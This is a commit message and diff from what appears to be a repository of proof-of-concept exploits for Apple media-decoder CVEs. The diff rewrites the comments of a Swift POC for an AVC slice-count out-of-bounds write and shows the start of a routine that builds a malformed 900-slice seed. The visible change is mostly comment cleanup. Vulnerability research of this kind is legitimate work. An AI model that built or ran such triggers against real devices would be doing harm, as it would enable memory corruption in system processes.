v2.0 — 31 C POC twins + harness fixes

- 31 C POC files, one per CVE folder: full seed construction + trigger +
  main(), self-contained, no app dependency. All compile clean with
  clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded
  oracle on this host.
- CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is
  (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the
  mechanism behind the cm.rpu death oracle on the simulator build.
- Harness fixes: glyphCount guard, MachOInspector size guard, ModTools
  clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display.
- POC comments rewritten English-only (31 swift + arc.rr + 5 py).
- README (en/zh): C twin column, .c anatomy section, compile/run
  examples, C oracle verification status.
- Dead if-let binding removed from Identity summary; v2.0 build 3.

CVE-2026-112416/CVE-2026-112416.swift

@@ -1,22 +1,8 @@
-// vid.avc · AVD.videodecoder 插件（非 kext） · CVE-2026-112416
-// 原语: OOB 写 · 系统进程 · tier 2
-// Primitive: OOB write · system process · tier 2
-//
-// [zh] AVC 切片数量上限缺失
-// 该组三个 CVE 的修复载体均为进程内的 AVD.videodecoder 插件，而非 kext：112416 为切片数量上限（\"too many slices!\"），112415 为
-// MVHEVC 层 ID 校验，112454 为直方图 IOSurface 指针改为随机 cookie。
-//
-// [en] AVC slice count cap missing
-// The fix carrier for all three CVEs in this group is the in-process AVD.videodecoder plugin, not
-// a kext: 112416 is the slice count cap ("too many slices!"), 112415 is MVHEVC layer-id validation,
-// and 112454 replaces the histogram IOSurface pointer with a random cookie.
-// ── 判别 / oracle ──
-// 经 NAL 验证的单变量对照为 32 切片 → 900 切片。本模块构造 900 切片结构并交由 CMVideoFormatDescription / VTDecompressionSession，
-// 以插件自身错误码判定。
-
+// vid.avc · AVD.videodecoder plugin (userspace, not kext) · CVE-2026-112416
+// AVC slice count cap missing
 import Foundation
 
-// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
+// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
 enum B {
     static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
     static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -37,7 +23,7 @@ enum B {
     static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
 }
 
-// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (VideoPayload) ──
+// ── seed construction (from Cinder27 Sources: VideoPayload) ──
 enum VideoPayload {
 static func avcManySlices(sliceCount: Int = 900, width: Int = 64, height: Int = 64) -> Data {
         var out = Data()